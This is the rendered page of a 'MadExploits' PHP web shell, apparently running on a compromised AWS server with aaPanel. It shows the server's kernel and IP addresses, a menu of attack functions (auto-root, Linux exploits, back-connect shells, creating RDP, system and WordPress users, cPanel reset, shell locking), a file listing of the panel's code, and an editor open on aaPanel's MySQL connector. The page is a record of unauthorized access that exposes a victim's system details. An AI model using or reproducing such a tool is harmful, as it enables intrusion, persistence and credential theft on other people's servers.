Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.147.211
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panel_mysql_v2.py
#coding: utf-8 # +------------------------------------------------------------------- # | aaPanel # +------------------------------------------------------------------- # | Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. # +------------------------------------------------------------------- # | Author: hwliang <hwl@aapanel.com> # +------------------------------------------------------------------- import re,os,sys,public class panelMysql: __DB_PASS = None __DB_USER = 'root' __DB_PORT = 3306 __DB_HOST = 'localhost' __DB_CONN = None __DB_CUR = None __DB_ERR = None __DB_NET = None #连接MYSQL数据库 def __Conn(self): if self.__DB_NET: return True try: myconf = public.readFile('/etc/my.cnf') socket_re = re.search(r"socket\s*=\s*(.+)",myconf) if socket_re: socket = socket_re.groups()[0] else: socket = '/tmp/mysql.sock' try: if sys.version_info[0] != 2: try: import pymysql except: public.ExecShell("pip install pymysql") import pymysql pymysql.install_as_MySQLdb() import MySQLdb if sys.version_info[0] == 2: reload(MySQLdb) except: try: import pymysql pymysql.install_as_MySQLdb() import MySQLdb except Exception as e: self.__DB_ERR = e return False try: rep = r"port\s*=\s*([0-9]+)" self.__DB_PORT = int(re.search(rep,myconf).groups()[0]) except: self.__DB_PORT = 3306 self.__DB_PASS = public.M('config').where('id=?',(1,)).getField('mysql_root') try: self.__DB_CONN = MySQLdb.connect(host = self.__DB_HOST,user = self.__DB_USER,passwd = self.__DB_PASS,port = self.__DB_PORT,charset="utf8",connect_timeout=1,unix_socket=socket) except MySQLdb.Error as e: self.__DB_HOST = '127.0.0.1' self.__DB_CONN = MySQLdb.connect(host = self.__DB_HOST,user = self.__DB_USER,passwd = self.__DB_PASS,port = self.__DB_PORT,charset="utf8",connect_timeout=1,unix_socket=socket) self.__DB_CUR = self.__DB_CONN.cursor() return True except MySQLdb.Error as e: self.__DB_ERR = e return False #连接远程数据库 def connect_network(self,host,port,username,password): self.__DB_NET = True try: try: if sys.version_info[0] != 2: try: import pymysql except: public.ExecShell("pip install pymysql") import pymysql pymysql.install_as_MySQLdb() import MySQLdb if sys.version_info[0] == 2: reload(MySQLdb) except: try: import pymysql pymysql.install_as_MySQLdb() import MySQLdb except Exception as e: self.__DB_ERR = e return False self.__DB_CONN = MySQLdb.connect(host = host,user = username,passwd = password,port = port,charset="utf8",connect_timeout=10) self.__DB_CUR = self.__DB_CONN.cursor() return True except MySQLdb.Error as e: self.__DB_ERR = e return False def execute(self,sql): #执行SQL语句返回受影响行 if not self.__Conn(): return self.__DB_ERR try: result = self.__DB_CUR.execute(sql) self.__DB_CONN.commit() self.__Close() return result except Exception as ex: return ex def query(self,sql): #执行SQL语句返回数据集 if not self.__Conn(): return self.__DB_ERR try: self.__DB_CUR.execute(sql) result = self.__DB_CUR.fetchall() #将元组转换成列表 if sys.version_info[0] == 2: data = map(list,result) else: data = list(map(list,result)) self.__Close() return data except Exception as ex: return ex #关闭连接 def __Close(self): self.__DB_CUR.close() self.__DB_CONN.close() # Mysql数据库连接类 支持Context class PanelMysqlWithContext: def __init__(self, db_name=None, db_user: str = 'root', db_pwd=None, db_host: str = 'localhost'): self.__CONN = None self.__DB_NAME = db_name self.__HOST = db_host self.__PORT = 3306 self.__USERNAME = db_user self.__PASSWORD = db_pwd self.__CHARSET = 'utf8mb4' self.__CONNECT_TIMEOUT = 10 self.__UNIX_SOCK = None def __enter__(self): if self.__CONN: return self if self.__HOST in ('localhost', '127.0.0.1'): self.__UNIX_SOCK = '/tmp/mysql.sock' self.__CONNECT_TIMEOUT = 1 myconf = public.readFile('/etc/my.cnf') m = re.search(r"socket\s*=\s*(.+)", myconf) if m: self.__UNIX_SOCK = m.group(1) m = re.search(r"port\s*=\s*([0-9]+)", myconf) if m: self.__PORT = int(m.group(1)) if self.__USERNAME == 'root': self.__PASSWORD = public.M('config').where('id=?', (1,)).getField('mysql_root') import pymysql try: self.__CONN = pymysql.connect(host=self.__HOST, user=self.__USERNAME, passwd=self.__PASSWORD, port=self.__PORT, charset=self.__CHARSET, database=self.__DB_NAME, connect_timeout=self.__CONNECT_TIMEOUT, cursorclass=pymysql.cursors.DictCursor, unix_socket=self.__UNIX_SOCK) except pymysql.Error: if self.__HOST == 'localhost': self.__HOST = '127.0.0.1' self.__CONN = pymysql.connect(host=self.__HOST, user=self.__USERNAME, passwd=self.__PASSWORD, port=self.__PORT, charset=self.__CHARSET, database=self.__DB_NAME, connect_timeout=self.__CONNECT_TIMEOUT, cursorclass=pymysql.cursors.DictCursor, unix_socket=self.__UNIX_SOCK) raise return self def __del__(self): if self.__CONN: self.__CONN.close() self.__CONN = None def __exit__(self, exc_type, exc_val, exc_tb): self.__CONN.close() self.__CONN = None # 执行SQL def execute(self, sql): cur = self.__CONN.cursor() try: row_count = cur.execute(sql) self.__CONN.commit() return row_count finally: cur.close() # 查询多条 def query(self, sql): cur = self.__CONN.cursor() try: row_count = cur.execute(sql) if row_count == 0: return [] return cur.fetchall() finally: cur.close() # 查询单条 def find(self, sql): ret = self.query(sql) if len(ret) == 0: return None return ret[0]
Close